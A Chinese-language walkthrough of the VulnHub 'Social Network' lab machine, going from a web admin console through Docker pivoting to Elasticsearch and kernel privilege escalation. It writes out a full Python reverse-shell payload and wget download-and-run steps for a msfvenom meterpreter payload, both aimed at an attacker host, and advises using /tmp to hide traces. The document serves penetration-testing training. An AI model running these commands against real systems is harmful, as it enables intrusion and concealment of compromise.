靶机介绍
该靶机来源:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
本地网络环境
渗透主机(kali):192.168.10.3
渗透主机(win7):192.168.10.4
靶机:192.168.10.5/172.17.0.1
内网docker靶机:172.17.0.2(web)、172.17.0.3(存密码)
搭建平台:vmware,网络连接形式为NAT
一、信息收集
主机发现
因为在实验环境下,宿主机和目标机是在同一环境网络下,故可以使用如下命令发现主机:
netdiscover -r 192.168.10.0/24 #效率太慢,不推荐使用
arp-scan -l
本实验环境下,目标机器IP地址为: 192.168.10.5
NMAP 端口扫描
nmap -A 192.168.10.5
发现目标开放22、5000端口(http服务),并有python2环境。
22端口不存在弱口令,访问5000端口,对该web服务进行目录扫描,尽可能发现敏感信息和后台目录。
dirsearch 目录扫描
dirsearch -u "http://192.168.10.5:5000/" -e * -i 200
二、WEB打点
访问/admin,发现其后台可以执行python代码。
这里直接python反弹shell到kali。
kali开启监听 nc -lvvp 7777
web 反弹shell payload:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.3",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
反弹shell到kali MSF,将权限迁移到MSF
msf 生成回连木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.3 LPORT=4444 -f elf > 4444.elf
kali开启http服务
python3 -m http.server 1081
通过网页后台反弹到shell下载木马:
wget http://192.168.10.3:1081/4444.elf
添加权限
chmod +x 4444.elf
msf本地设置监听以及使用payload:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
run
然后在网页的反弹shell中执行
./4444.elf
可以看到成功反弹shell回到MSF。
内网信息收集
查看当前用户权限:
为root用户
kali接受到反弹的shell,用id查下权限,用ls查下文件,发现是root权限,但查看文件时发现了一个Dockerfile文件,猜测可能时docker主机,需要进一步确认。
查看Dockerfile文件cat Dockerfile,内容如下,判断可能是docker
进一步判断,查看根目录下是否有dockerenv,ls /.dockerenv,发现存在,判断90%是docker容器
最后判断,cat /proc/1/cgroup
cgroup内有docker文件判断其就是docker容器
判断依据:Linux初始化进程时,PID=1代表的是初始化进程的ID,如果1进程下面的cgroup文件包含docker文件,就说明这是个docker系统。
查看ifconfig
查看网段:
run get_local_subnets
添加路由:
run autoroute -s 172.17.0.2/24
background
让meterpreter会话在后台运行
查看会话命令: sessions -l
sessions ID(会话ID)
内网存活网段扫描:
use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2/24
set threads 100
发现目标存在
172.17.0.1
172.17.0.3
使用msf的代理模块+proxychains4进行代理
use auxiliary/server/socks_proxy
无需配置,直接使用默认的参数
配置proxychains4代理文件:
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
在配置好代理之后,可以使用kali的代理工具proxychains4进行内网渗透。
使用namp工具进行端口扫描看看它开放了那些端口服务:
注释:(因为socks4不支持ICMP协议,不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)
proxychains4 nmap -Pn -sT 172.17.0.1
proxychains4 nmap -Pn -sT 172.17.0.2
proxychains4 nmap -Pn -sT 172.17.0.3
设置代理
三、内网渗透
在通过sockscap配置好代理后,将google浏览器添加到该软件的代理程序上
访问http://172.17.0.3:9200,发现此elasticsearch版本为1.4.2。
metasploit 搜索 elasticsearch,elasticsearch版本1.4.2 存在低版本漏洞,利用此payload进行攻击。
exploit/multi/elasticsearch/search_groovy_script
具体配置如下:
成功获得meterpreter会话:
发现为root用户,成功获得docker elasticsearch(类似内网服务器)的root权限。
查看此docker服务器下,发现一passwords文件,cat查看一下发现为登录用户的账号密码。
在网站https://crackstation.net/对hash进行破解:
四、宿主机本地提权
对破解出来的用户逐一登录宿主机ssh,最终发现用户 join/1337hack 可以成功登录 ssh 192.168.10.5
使用命令收集此服务器内核版本
uname -a
cat /etc/issue
内核为3.13.0
kali本地搜索内核版本查找exp,
searchsploit linux 3.13
选择37292.c来利用,首先将文件复制到新建的gcc文件夹下
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
vim 37292.c:查看下exp代码发现代码末尾会调用gcc来编译ofs-lib.c文件,这个操作靶机上是会报错的,因为靶机上没有gcc环境。
改正措施
我们可以把ofs-lib.so文件和exp文件一同上传到靶机,改成只是调用文件,编译代码操作我们在kali本地完成,这时代码里的编译文件的代码也就不需要了,删除方框内编译代码即可。
本地编译gcc -o exp2 37292.c
寻找编译过后的ofs-lib.so文件,看是否存在,find /usr -name ofs-lib.so,存在直接复制到当前文件夹下
开启一个http服务,以便靶机能够把提权文件下载下来
python3 -m http.server 81
下载的文件需要放在tmp目录下,因为提权文件里写的路径是/tmp,而且tmp是存放临时文件的,会消除我们上传的文件,有利于隐藏攻击。
执行exp2,查看权限,已经是root,任务完成。
五、总结
寻找目标
靶机和kali在同一网段,直接采用arp-sacn -l扫描主机;也可以采用nmap扫描
收集信息
发现靶机的端口,服务,利用dirsearch -u http://192.168.10.5:5000扫描目录发现/admin路径;其他扫描工具也可以
验证测试
测试/admin存在代码执行漏洞,直接传python代码反弹shell拿到web权限
当前主机分析
由于靶机描述存在Docker,且发现Dockerfile文件,猜测是Docker容器,看ip发现在内网,可以进行横向发现
进入内网&内网穿透
内网发现三台存活主机,继续进行信息收集,由于在内网,使用MSF进行内网穿透,配置proxychains4方便工具利用穿透代理;
内网信息收集
连接代理,对内网其他主机进行扫描,发现172.17.0.1是靶机主体,发现172.17.0.3上存在Elasticsearch低版本代码执行漏洞;
kali漏洞exp利用
拿下172.17.0.3后发现上面存有账户密码,解密,测试,发现主机一普通账户
账户本地提权
收集信息知道靶机linux内核版本不高,存在越权漏洞,靶机下载kali上的越权文件实现本地越权。
痕迹隐藏
操作集中在/tmp夹下,linux会定时清理这文件夹下的文件,方便隐藏痕迹。
六、参考文章
https://www.0x1ceb00da.net/boredhackerblog-social-network
https://mp.weixin.qq.com/s/yswQt8fTJyF4QGlyVI30cw